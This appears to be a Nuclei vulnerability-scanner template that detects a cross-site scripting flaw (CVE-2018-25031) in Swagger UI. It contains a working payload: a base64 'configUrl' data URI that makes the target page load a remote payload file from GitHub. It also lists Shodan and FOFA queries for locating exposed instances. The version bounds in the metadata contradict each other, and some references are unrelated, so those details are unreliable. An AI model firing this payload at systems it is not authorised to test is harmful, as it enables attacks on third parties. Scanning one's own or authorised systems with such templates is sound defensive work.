id: CVE-2018-25031

info:
  name: Swagger UI < 3.38.0 - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    Swagger UI before 4.1.3 could allow a remote attacker to conduct spoofing attacks. By persuading a victim to open a crafted URL, an attacker could exploit this vulnerability to display remote OpenAPI definitions.
  remediation: |
    Update to the latest version of the Swagger UI (^4.13.0 or higher) to mitigate the vulnerability.
  reference:
    - https://blog.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-25031
    - https://github.com/barrykooij/related-posts-for-wp/commit/37733398dd88863fc0bdb3d6d378598429fd0b81
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3506
    - https://github.com/swagger-api/swagger-ui/issues/4872
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2018-25031
    cwe-id: CWE-20
    epss-score: 0.00265
    epss-percentile: 0.65516
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: smartbear
    product: swagger_ui
    shodan-query:
      - http.component:"Swagger"
      - http.component:"swagger"
      - http.favicon.hash:"-1180440057"
    fofa-query: icon_hash="-1180440057"
  tags: headless,cve,cve2018,swagger,xss,smartbear

headless:
  - steps:
      - args:
          url: '{{BaseURL}}/index.html?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Byb2plY3RkaXNjb3ZlcnkvbnVjbGVpLXRlbXBsYXRlcy9tYWluL2hlbHBlcnMvcGF5bG9hZHMvc3dhZ2dlci1wYXlsb2FkIgp9'
        action: navigate

      - action: waitdialog
        name: swagger_dom

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - swagger_dom == true

      - type: word
        part: body
        words:
          - "swagger"
        case-insensitive: true
# digest: 490a00463044022000a8c6b502dca006f3fdde5519968569f8e22e9ef6a79c63edb2de60a0dd568f0220031f68ca657d8e5d68a4d61c62332f505f93f2699488ec192600c0a60db54218:922c64590222798bb761d5b6d8e72950